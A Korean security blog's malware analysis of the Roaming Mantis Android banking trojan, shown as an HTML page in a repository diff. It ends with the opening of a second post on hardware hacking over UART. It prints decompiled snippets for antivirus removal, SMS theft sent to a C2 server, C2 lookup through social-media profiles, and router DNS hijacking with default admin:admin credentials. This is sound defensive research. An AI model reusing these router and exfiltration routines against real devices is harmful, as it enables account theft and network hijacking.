이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다.

+ +
+ +

2. Roaming Mantis?

+ +

분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는..

+ +

0.png

+ +

Android Malware인 Roaming Mantis였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 취약한 공용 라우터를 장악하여 DNS 서버를 변조(DNS Hijacking)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다.

+ +

가령, google.com으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다.

+ +

이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다.

+ +

또한 Wroba계열의 Mobile banking Trojan을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다.

+ +

출처 : https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers

+ +
+ +

3. Analysis

+ +

2.png

+ +

분석 Flow Chart입니다.

+ +

각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다.

+ +

1) Download & Install

+ +

3.png

+ +

문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다.

+ +

Download를 진행하면 chrome.apk 라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다.

+ +

4.png

+ +

frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다.

+ +

이 중 rbj.xnmp.gjga.ucms가 악성 앱, com.android.chrome이 진짜 chrome입니다.

+ +

2) Dynamic DEX Loading

+ +

Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다.

+ +

주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다.

+ +

5.png

+ +


+ +

Encrypted DEX Loading

+ +

가장 먼저 실행되는 것은 ImApplication.c("rrkf") 로, rrkf를 인자로 wo.pi method를 호출합니다.

+ +
// str = "rrkf"
+private void c(String str) {
+        b(str, wo.pi(this, str, 1, false, ""));
+}
+
+ +

Java_n_wo_pi() 함수는 rrkf를 인자로 받아, rrkf/lqcttjs 경로를 완성합니다.

+ +

완성한 경로를 getAssets() 함수의 인자로 사용하여, assets 폴더 하위의 rrkf/1qcttjs 파일 내용을 가져옵니다.

+ +
// v7 = rrkf/1qcttjs
+// v10 = getAssets()
+// v13 = open(Ljava/lang/String;)
+v19 = _JNIEnv::CallObjectMethod(v7, v10, v13);
+
+ +

실제로 assets Directory 에는 아래와 같이 rrkf/1qcttjs 경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다.

+ +

6.png

+ +


+ +

Decrypt DEX

+ +

따라서 Java_n_wo_pi() 내부에는 가져온 1qcttjs 의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 wo.pi 는 Dectyped DEX 내용을 return 합니다.

+ +
while ( 1 )
+{
+    v49 = _JNIEnv::CallIntMethod(v24, v61, v21, v48); // 1. 암호화된 파일 내용 read
+    if ( v49 & 0x80000000 ) // 3. 복호화가 끝났을경우
+    {
+      _JNIEnv::CallVoidMethod(v24, v61, v59); // close(), 4. 읽기 종료
+			...
+			if ( v64 )
+        {
+           v65 = v64; // 5. 복호화 된 내용 저장
+           operator delete(v64);
+				}
+        return;
+    }
+    v50 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v24 + 1472LL))(v24, v48, 0LL); // 2. 복호화 진행 (1로 다시 이동)
+   ...
+}
+
+ +


+ +

③ Save Dynamic DEX

+ +

복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 ImApplication.e() method에서 확인할 수 있습니다. e/data/user/0/rbj.xnpm.gjga.ucms/files/b 와 복호화된 파일 내용을 인자로 받아, wo.or 을 호출합니다.

+ +
private static Object e(String str, Object obj) {
+				//str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b"
+        //obj = 복호화한 dex파일
+        return wo.or(str, obj, 0);
+    }
+
+ +

Java_n_wo_or() 에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다.

+ +
v7 = (*(__int64 (**)(void))(*(_QWORD *)a1 + 1472LL))(); // 복호화 DEX Byte array
+v8 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v6 + 1352LL))(v6, v4, 0LL); // /data/user/0/rbj.xnpm.gjga.ucms/files/b
+...
+fwrite(v7, v10, 1LL, v9); // 해당 경로에 DEX파일 내용 작성
+
+ +

따라서 복호화된 DEX 파일은, /data/user/0/rbj.xnpm.gjga.ucms/files/b 경로에 저장되게 됩니다.

+ +


+ +

④ Load Class

+ +

ImApplication 에서 가장 마지막에 실행되는 a method입니다.

+ +
private void a(Object obj) {
+				// obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b)
+				// wo.ls(1) = com.Loader
+        Class cls = (Class) wo.kw(wo.ls(1), obj, false, 0L, "", true, 2, false, 1, true);
+        this.b = cls;
+				// wo.iz = 인자를 create() 함
+        a = wo.iz(cls);
+    }
+
+ +

wo.iz 는 인자를 create() 하므로, 인자로 들어가는 cls 즉, wo.kw 의 내용을 보아야 합니다. wo.kw 는 아래의 코드로 동작을 요약할 수 있습니다.

+ +
// v7 = loadClass(com.Loader)
+return _JNIEnv::CallObjectMethod(v5, v4, v7);
+
+ +

locaClass() method에 인자로 들어간 com.Loader Class를 호출합니다. 이렇게 b 파일의 com.Loaser class를 인자로 받은 wo.iz 는 이를 create() 하며 Dynamic DEX Loading은 끝이 납니다.

+ +

그럼 이제 앱을 실행한 후, /data/user/0/rbj.xnpm.gjga.ucms/files/b 파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.

+ +

3) Behavior Analysis

+ +

이전 단계에서 획득한 b 파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다.

+ +

모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다.

+ +

이 중 Roaming Mantis의 핵심 동작은 ⑤ 공유기 장악(DNS Hijacking) 부분을 보시면 되겠습니다.

+ +

① A사 백신 삭제

+ +

② 국내 앱 계정 정보 수집

+ +

③ Phishing 창 생성 #1

+ +

④ Phishing 창 생성 #2

+ +

⑤ 공유기 장악 (DNS Hijacking)

+ +

⑥ C2 서버 - 공격자 서버 정보 파싱

+ +

⑦ SMS 관련 동작

+ +

⑧ 기타 동작

+ +
+ +

① A사 백신 삭제

+ +

대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다.

+ +

while문을 사용하여 설치된 Package명 중, 백신의 Package명(com.a**lab.v*)과 같은 게 있을 경우 삭제하도록 하고 있습니다.

+ +
while(!d.n.l.g(((String)v1), "com.a**lab.v3", false, 2, null));
+    v2 = v1; // 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장
+label_14:
+    String v2_1 = (String)v2;
+    if(v2_1 != null) { // 2. 존재한다면, DELETE하는 Activity 실행
+        Intent v0_1 = new Intent();
+        v0_1.setAction("android.intent.action.DELETE");
+        v0_1.setData(Uri.parse("package:" + v2_1));
+        v0_1.addFlags(0x10000000);
+        arg8.startActivity(v0_1); // 안랩을 삭제하는 activity를 넣음
+    }
+
+ +

실행된 Activity는 아래와 같이 보입니다.

+ +

7.png

+ +
+ +

② 국내 앱 계정 정보 수집

+ +

아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다.

+ +
// 1. 기기에서 관리중인 계정 정보 수집
+Account[] v0_4 = ((AccountManager)v0_3).getAccounts();
+
+// 2. 계정과 종류를 수집
+v10_1.add(v0_4[v12].name + ":" + v0_4[v12].type);
+
+ +

수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다.

+ +

8.png

+ +

아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다.

+ +
v9.add("Happy*****:"); // 계정이 존재한다면, comment와 함께 저장
+
+ +
+ +

③ Phishing 창 생성 #1

+ +

com.Loader Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다.

+ +

9.png

+ +

한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 127.0.0.1:Random_port 로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 %%ACCOUNT%% 부분은 기기에 저장된 gmail 계정이 출력됩니다.

+ +

10.png

+ +

전달 받은 값은 127.0.0.1:port/submit 으로 전달, Response 값을 setMyInfo method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다.

+ +
    +
  • JSON-RPC는 원격 프로시저 호출을 위한 프로토콜입니다. 서버와 경량의 데이터 교환을 수행하는데, 이 때 JSON 형식을 사용합니다.
  • +
+ +
v8_1 = (String)v7.get("name");
+v8_2.append(((String)v7.get("first_name")));
+String v0 = (String)v7.get("middle_name");
+v8_2.append(((String)v7.get("last_name")));
+String v2_1 = (String)v7.get("date");
+v2_1 = v2_1 + " " + ((String)v7.get("xx1"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx2"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx3"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx4"));
+v2_1 = v2_1 + "/" + ((String)v7.get("ss1"));
+
+// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료
+String v0_1 = "JSON:" + new JSONObject(v7).toString(0);
+this.c.g.f("setMyInfo", new String[]{v8_1, v0_1}).f(new Loader.t0.a(this, v7), Loader.t0.b.a);
+}
+
+ +
+ +

Phishing 창 생성 #2

+ +

또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 zc1. zc. scan 일 경우 수행됩니다.

+ +

사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 Phishing 페이지를 생성합니다. 아래는 일본의 통신사인 domoco를 사용 할 경우의 예시입니다.

+ +
else if(l.j(v0_3, "docomo", false, 2, null)) { // 1. domoco 통신사일 경우
+                    b v0_6 = this.a.h("https://www.pinterest.com/catogreggex11/");
+                    v7 = (String)v0_6.a();
+                    v0_5 = (String)v0_6.b(); // 2. 위의 URL에서 info 정보 수집
+                    v1 = i.a(v0_5, "") ? "【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。" :  // 3. 수집이 안 될 경우를 대비한 피싱 문구
+                }
+
+ +

v0_6를 보면, https://www.pinterest.com/catogreggex11/의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 catogreggex11 계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다.

+ +

11.png

+ +

info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, ---- 를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다.

+ +
+ +

⑤ 공유기 장악 (DNS Hijacking)

+ +

Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다.

+ +

모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자는 DHCP Server의 IP 주소를 수집합니다.

+ +
int v2 = ((WifiManager)this.n.getApplicationContext().getSystemService("wifi")).getDhcpInfo().serverAddress;
+
+ +

하지만 DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다.

+ +

공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다.

+ +
int[] v5 = new int[]{8080, 8888, 80, 7777, 8899};
+for(v9 = "http://" + v2_1 + ":" + v8 + "/login/login.cgi"; true; v9 = v10_1.toString()){
+                    v9_1 = a.b.d(v9, false);
+
+ +

코드를 보면, 8080, 8888, 80 등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 /login/login.cgi 경로를 붙여 최종적으로 http://{DHCP_SERVER}:{PORT}/login/login.cgi 라는 URL을 완성합니다.

+ +

아래는 실행 시 실제로 보내진 HTTP Request Dump입니다.

+ +

12.png

+ +

URL의 경로에서 유추할 수 있듯, 공격자는 공유기 관리 페이지에 접근하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다.

+ +
Matcher v10 = Pattern.compile("http-equiv=\"?refresh\"? .+?URL=(.+?)\"", 2).matcher(v9_1);
+ Matcher v10_2 = Pattern.compile("<script>.+\\.location=\"(.+?)\";.*//session_timeout", 2).matcher(v9_1.replace(" ", ""));
+
+ +

Response가 있다면 HTTP source code 에는 해당 DHCP 서버(공유기)의 정보가 있을 것입니다.

+ +

아래는 공유기 모델에 따라 HTTP 페이지에 적혀 있는 값입니다. 만약 일치하는 패턴이 있다면 공유기의 모델이 어떤 것인지 유추할 수 있습니다. 공격자는 이 패턴과 숫자를 매칭하여 저장합니다.

+ +

13.png

+ +

어떤 번호에 매칭되었느냐에 따라 다양한 method들이 호출되는데, 여기서 1번 i사의 공유기에 매칭 되었다고 가정해봅시다.

+ +
if(v2 == 1) {
+       this.a.e(v1.a);
+       return;
+       }
+
+if(v2 == 2) {
+      this.a.k(v1.a);
+      return;
+      }
+...
+
+ +

매칭된 숫자에 따라 실행되는 method들이 달라집니다. 1번에 매칭되었으니 a.e method로 이동해봅시다.

+ +

매칭된 i사의 공유기의 Default Credential과 token 검증 방식으로 인증을 수행하기 위해 Request Header 생성, 이를 Default URL로 전달하고 있습니다. 각 공유기마다 Header의 조합과 URL 주소가 다르며, 일반적인 공유기 사용자가 관리 페이지의 Credential을 바꾸는 일은 흔치 않기 때문에 공격자는 쉽게 관리자로 로그인 할 수 있습니다.

+ +
void e(String arg14) {
+        String[] v1 = new String[2];
+        int v2 = 0;
+        v1[0] = "Authorization";
+        v1[1] = "Basic " + Base64.encodeToString("admin:admin".getBytes(), 0);
+        a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame", v1);
+        String v4 = a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=netconf&smenu=wansetup", v1);
+        ArrayList v7 = new ArrayList();
+        int v8;
+        for(v8 = 1; v8 <= 4; ++v8) {
+            Matcher v9 = Pattern.compile("id=\"disabled_dynamicip" + v8 + ".*?value=\"(.*?)\"").matcher(v4);
+            if(v9.find()) {
+                v7.add(v9.group(1));
+            }
+        }
+
+
+ +

그리고 마지막 부분에 DNS 서버를 변경하려는 Request를 생성하는데, 해당 DNS 서버의 주소는 C2 서버에 값이 저장되어 있습니다.

+ +
// DNS 서버를 변경하는 Request 생성
+// v3의 값은 C2 서버에서 파싱
+a.b.f(arg14 + "/cgi-bin/timepro.cgi", v1, "tmenu=iframe&smenu=hiddenwansetup&act=save&ocolor=&wan=wan1&ifname=eth1&nopassword=0&wan_type=dynamic&allow_private=on&fdns_dynamic1=" + v3.c[0] + "&fdns_dynamic2=" + v3.c[1] + "&fdns_dynamic3=" + v3.c[2] + "&fdns_dynamic4=" + v3.c[3] + "&sdns_dynamic1=" + v3.d[0] + "&sdns_dynamic2=" + v3.d[1] + "&sdns_dynamic3=" + v3.d[2] + "&sdns_dynamic4=" + v3.d[3] + "&dns_dynamic_chk=on".getBytes());
+
+ +

이렇게 외부 서비스에 저장한 정보를 파싱해 올 수 있습니다. 사진에서는 활동 란에 적힌 부분이 바꾸고자 하는 동적 DNS 서버의 주소입니다.

+ +

1.png

+ +
+ +

C2 서버 - 공격자 서버 정보 파싱

+ +

바로 이전 섹션에서 타 서비스의 웹 사이트(C2 서버)에서 문구들을 수집하는 것을 보았습니다. 마찬가지로 공격자의 서버 정보도 C2 서버에 있습니다. 그렇다면 공격자 서버 정보를 찾아봅시다.

+ +

아래의 문자열은 외부 서비스와 많은 연관이 있는 것으로 추정되는 문자열입니다.

+ +
this.n = "chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|id728589530@vk|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2";
+
+ +

현재 피싱 앱으로 사용하는 이름|youtube계정|vk계정|GoogleDoc계정 의 정보를 담고 있으며, 이 앱은 covid등 다양한 이름으로 배포되고 있었습니다. 따라서 현재 사용하는 앱 이름에 맞는 정보를 파싱하도록 동작하고 있습니다.

+ +

우선 vk(id728589530@vk) 계정이 어디서 사용되는지 확인해봅시다. 앱 이름이 debug가 아닐 경우에 수행되며, 최종적으로 id729071494 계정의 info페이지에 접근하게 됩니다.

+ +
// 1. info 페이지 접근
+String v3 = String.format("https://m.vk.com/%s?act=info", Arrays.copyOf(new Object[]{arg3}, 1));
+
+// 2. noopener 태그 사이의 문자열 매칭
+ Matcher v3_3 = Pattern.compile("noopener\">(.+?)</a>").matcher(v3_2);
+
+ +

페이지의 HTTP Code 중 noopener 태그 이후의 문자열을 확인하면 아래와 같이 공격자 서버를 확인할 수 있습니다.

+ +

14.png

+ +

이 서버는 결론적으로 DHCP서버의 Captcha 인증 중 Captcha 이미지를 보내는 서버입니다. 자세한 분석은 분량 상 생략하겠습니다.

+ +

다른 정보들은 어디에 쓰이는지 확인해봅시다.

+ +

아래는 기기의 환경이 한국일 경우 실행되는 코드로, 위의 계정 정보들 중 youtube(UCP5sKzxDLR5yhO1IB4EqeEg@youtube)계정 문자열을 파싱합니다.

+ +
// UCP5sKzxDLR5yhO1IB4EqeEg@youtube 문자열 파싱
+String v7 = Loader.access$getPreferences$p(this.b).getString("account", ((String)v2.get(v8)));
+
+ +

마찬가지로 해당 계정의 about 페이지에 접근한 후, oeewe 사이의 문자열을 파싱합니다.

+ +
// 1. about 페이지 접근
+String v3 = String.format("https://m.youtube.com/channel/%s/about", Arrays.copyOf(new Object[]{arg3}, 1));
+
+// 2. oeewe 사이의 문자열 매칭
+Matcher v3_3 = Pattern.compile("oeewe([\\w_-]+?)oeewe").matcher(v3_2);
+
+ +

접근하면 아래와 같이 oeewe … oeewe 문자열을 설명란에서 볼 수 있습니다.

+ +

15.png

+ +

해당 문자열은 DES(CBC) 복호화 과정을 거칩니다. 다행히 Key와 IV가 하드코딩 되어있어, 쉽게 복호화 할 수 있습니다.

+ +
// 1. Base64 Decoding
+byte[] v2 = Base64.decode(arg2, 8);
+
+// 2. Key, IV 하드코딩(같은 값)
+return new String(r.b(v2, "Ab5d1Q32"), d.a);
+
+ +

복호화를 진행하면 아래와 같이 공격자의 서버 주소를 확인할 수 있습니다. 이 주소는 파싱 후 ws:// 가 앞에 붙게 되므로 웹 소켓 주소로 사용되는 것을 추측할 수 있습니다.

+ +

16.png

+ +
+ +

SMS관련

+ +

아래는 기기가 기본 SMS 앱을 사용하는지 체크하는 부분입니다. 만약 기본 SMS앱을 악성 앱으로 바꾼다면, SMS 인증 우회는 물론이고, 메시지 내용 탈취, 발신, 수신이 자유로울 것입니다.

+ +
v9_1[5] = Boolean.valueOf(i.a(v5_6, Telephony.Sms.getDefaultSmsPackage(v7_4)));
+
+ +

17.png

+ +

공격자는 SMS 메시지가 수신될 때, 발신자의 주소와 timestamp, 그리고 메시지내용을 HashMap으로 저장하며 수집합니다.

+ +
// 1. 수신된 메시지들 수집
+v0_6 = (Object[])arg27.getExtras().get("pdus");
+v12 = v0_6[v10];
+
+// 2. 수신된 메시지를 기반으로 새로운 SMS 데이터 생성
+SmsMessage v12_1 = SmsMessage.createFromPdu(((byte[])v12));
+
+// 3. 수신된 메시지의 내용 수집
+String v13 = v12_1.getDisplayMessageBody();
+
+// 4. 수신된 메시지의 발신 주소 수집
+String v14 = v12_1.getDisplayOriginatingAddress();
+
+// 5. 발신자 주소(key)-메시지의 timestamp(value) 로 저장
+v3_1.put(v14, Long.valueOf(v12_1.getTimestampMillis()));
+
+// 6. 발신자 주소(key)-메시지 내용(value)로 저장
+ v4_2.put(v14, v12_2.toString());
+
+ +

JSON-RPC로 onSms method와 수집한 내용을 공격자 서버로 전달합니다.

+ +
// s = "onSms"
+// 1. Json-RPC로 onSms method 실행
+Map map0 = b0.f(new b[]{c.a("jsonrpc", "2.0"), c.a("method", s)});
+
+// 2. 수집한 내용을 params로 전달
+map0.put("params", object0);
+
+ +

이후 공격자는 audio 상태를 무음으로 변경합니다. 만약 기기를 자주 살펴보지 않는 사용자라면, 본인도 모르는 사이에 문자가 발신/수신 될 수 있습니다.

+ +
Object v0_13 = v2.getSystemService("audio");
+if(v0_13 != null) {
+  ((AudioManager)v0_13).setRingerMode(0);
+
+ +

수신하는 경우의 로직도 존재합니다. 특이한 점은 수신한 문자의 앞 두글자에 따라 다른 동작을 한다는 것입니다. 마치 기계에 커맨드를 입력하는 것 같습니다.

+ +

맨 앞 두 글자에 따라 SharedPreference 객체에 key-value로 값을 저장하는 형태를 많이 보입니다.

+ +
// 1. 앞 글자가 FS인 경우, fs(key)-메시지내용(value) 추가
+if(boolean z2 = u.g(s12, "FS", false, 2, null)) {
+Loader.access$getPreferences$p(this.a).edit().putString("fs", r.c(s13))).apply()
+
+// 2. 앞 글자가 SF인 경우, account(key)-메시지내용(value) 추가
+if(u.g(s12, "SF", false, 2, null)) {
+Loader.access$getPreferences$p(this.a).edit().putString("account", s14).apply();
+
+// 3. 앞 글자가 IF인 경우, 네트워크(socket등)연결 시도
+if(u.g(s12, "IF", false, 2, null)) {
+
+	// 3-1. 연결 되었을 경우
+	i.c(socket1, "peer.ws!!.socket");
+	s15 = "已连接:" + socket1.getRemoteSocketAddress().toString();
+
+	// 3-2. 연결되지 않았을 경우
+	s15 = "未连接," + s16 + ',' + (wifiManager0 == null ? false : wifiManager0.isWifiEnabled()) + ',' + this.a.j;
+
+// 4. 앞 긑자리 SI인 경우, addr_url/addr_encoding/addr_pattern/addr_accounts 추가
+if(boolean z3 = u.g(s12, "SI", false, 2, null)) {
+byte[] arr_b = Base64.decode(s13, 0);
+Loader.access$getPreferences$p(this.a).edit().putString("addr_url", ((String)list0.get(0))).putString("addr_encoding", ((String)list0.get(1))).putString("addr_pattern", ((String)list0.get(2))).putString("addr_accounts", ((String)list0.get(3))).apply();
+
+// 5. 앞 글자리 FM인 경우, Key(arr_b1)으로 AES 복호화 후 fsm(key)-메시지내용(value) 추가
+else if(u.g(s12, "FM", false, 2, null)) {
+byte[] arr_b1 = Base64.decode("CpMSc7iSk/dTcRO7aMe4qA==", 0);
+Loader.access$getPreferences$p(this.a).edit().putString("fsm", s18)
+
+ +

어떤 내용이 오가는지 정확한 내용은 몰라도, 어느 정도 유추는 가능하며 사용자의 기기로 하여금 악의적인 행위를 수행하도록 하는 것을 볼 수 있습니다.

+ +
+ +

⑦ 기타 동작

+ +
    +
  • 앱 정보 수집 +
      +
    • 설치된 앱들의 정보를 수집합니다.
    • +
    +
  • +
  • 공인인증서 탈취 +
      +
    • /sdcard/NAKI 에 저장된 공인인증서를 탈취합니다.
    • +
    +
  • +
  • 배터리 최적화 무시 +
      +
    • 백그라운드에서도 안정적으로 실행되기 위해, 배터리 최적화를 무시하도록 합니다.
    • +
    +
  • +
  • wifi lock 설정 +
      +
    • 연결된 WIFI Lock을 Swi 라는 이름으로 생성, 백그라운드에서도 연락이 이어지게 끔 동작합니다.
    • +
    +
  • +
  • 사용자 주변 네트워크, 기기 정보 전송 +
      +
    • 사용자의 네트워크와 디바이스 정보를 SharedPreference에 저장합니다.
    • +
    +
  • +
  • 루팅 탐지 +
      +
    • 루팅 여부를 탐지합니다.
    • +
    +
  • +
  • 금융 앱 관련 +
      +
    • 금융 앱 대신 /sdcard/.upload2 하위의 악성 앱을 실행합니다.
    • +
    +
  • +
  • 사진 탈취 +
      +
    • /DCIM/Camera 에 위치한 사진 파일들을 탈취합니다.
    • +
    +
  • +
  • C2 서버로부터 command 수신 +
      +
    • 다양한 command를 전달받아 동작합니다.
    • +
    + +

    18.png

    +
  • +
+ +

이 외에도 모두 분석하면 꽤 많은 양의 기능을 식별할 수 있을 것으로 예상됩니다.

+ +
+ +

4. Outro

+ +

지금까지 Android Malware : Roaming Mantis를 분석해보았습니다. 타인에게 설명하기에 양도 많고 내용도 복잡해 글을 쓰면서도 고민이 많았습니다. 틀린 부분은 없는지 여러 번 확인도 하였지만, 혹시나 발견하신다면 제 미숙함으로 여겨주시면 감사하겠습니다. (틀린 부분에 대한 문의는 hrjeon@stealien.com으로 연락 바랍니다.)

+ +

Roaming Mantis는 매우 정성 들여 만든 Malware입니다. 그만큼 많은 곳에 복제되어서 이곳저곳 쓰일 것입니다. 혹시나 이 Malware를 마주하게 되신다면, 글을 읽으시는 분들도 한번 쯤 분석해보면 어떨까요?

+ +

더 많은 로직이 있음에도 다 담을 수 없어 아쉽기도 하고, 남은 로직은 후일에 천천히 풀어보도록 해보겠습니다.

+ +

글의 주제를 제공해주신 김도현 팀장님과 분석 실마리를 제공해주신 김동규 선임연구원님, 글 작성을 도와주신 임필호 선임연구원님을 비롯한 모의해킹팀 분들에게 감사합니다.

+ +

이 글이 많은 분들의 연구에 도움이 되길 바라며 글을 줄이겠습니다.

+ +
+
+
+ +
+
+
Hyerim Jeon
+
hrjeon@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2024-02-06/IoT-TechBlog-ko.html b/docs/2024-02-06/IoT-TechBlog-ko.html new file mode 100644 index 0000000..048bb8d --- /dev/null +++ b/docs/2024-02-06/IoT-TechBlog-ko.html @@ -0,0 +1,890 @@ + + + + + + + + + + +뉴비들의 하드웨어 해킹 입문기 + +뉴비들의 하드웨어 해킹 입문기 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
뉴비들의 하드웨어 해킹 입문기
+
+
+ + 이주협, 이주영 +
+
Feb 6, 2024
+
+
+
+
+
+

뉴비들의 하드웨어 해킹 입문기

+ +
+

이 포스트는 스틸리언 선제대응팀의 ‘이주협’ 선임 연구원님과 ‘이주영’ 연구원님이 정성스럽게 작성 해 주셨습니다.

+ +

선제대응팀(Team Defend Forward)은 IoT, 임베디드 디바이스, 네트워크 디바이스같은 장비의 취약점 분석은 물론이고, +모바일 디바이스 어플리케이션, 웹 서비스/어플리케이션, 데스크탑/서버 어플리케이션/서비스 등 다양한 소프트웨어에 대한 +화이트박스/블랙박스 펜테스팅 서비스를 제공하고 있습니다.

+ +

by 선제대응팀 팀장 김도현

+
+ +

목차

+ +
    +
  • UART +
      +
    • 필요한 장비 정리
    • +
    • 메인 칩셋 데이터 시트 참고하는 법
    • +
    +
  • +
  • Desoldering
  • +
  • FlashROM을 통한 펌웨어 추출
  • +
  • 펌웨어 조작 - 쉘 떨구기
  • +
  • Soldering
  • +
  • Glitching +
      +
    • Serial Data Output Pin Glitching
    • +
    +
  • +
+ +

1. 인트로

+ +
+

본 블로그 포스트는 SPI를 사용하는 Router의 하드웨어 해킹을 기준 해 작성했습니다. 라우터의 구현에 따른 한가지 방법일 뿐, 일반적으로 통용되는 하드웨어 해킹 방법론이 아님을 명시합니다.

+
+ +

2. UART

+ +

UART drawio

+ +

UART(Universal Asynchronous Receiver/Transmitter)는 두 하드웨어 기기가 서로 Serial 통신할 때 사용하는 프로토콜입니다. 주로 하드웨어 개발자들이 디버깅 용도로 사용합니다.

+ +

2.1. UART를 사용하는 이유

+ +

경우에 따라 다르지만 UART로 Login Prompt 또는 OS Shell을 제공하는 하드웨어 기기가 있습니다. 하드웨어 기기의 쉘에 접근하면 기기 내에 동작하는 프로세스를 확인하거나 gdb와 같은 디버거를 원격으로 업로드하여 프로세스를 직접 디버깅하는 등의 분석을 수행할 수 있습니다.

+ +

UART로 쉘을 제공하지 않더라도 부팅 로그를 출력하는 경우도 있습니다. 이 경우, 부팅 로그에 펌웨어 복호화 키와 같은 민감한 정보가 포함되어 있을 수 있습니다. 따라서 하드웨어 기기의 UART를 확인해야 하는 근거는 충분합니다.

+ +

2.2. UART 연결 준비

+ +

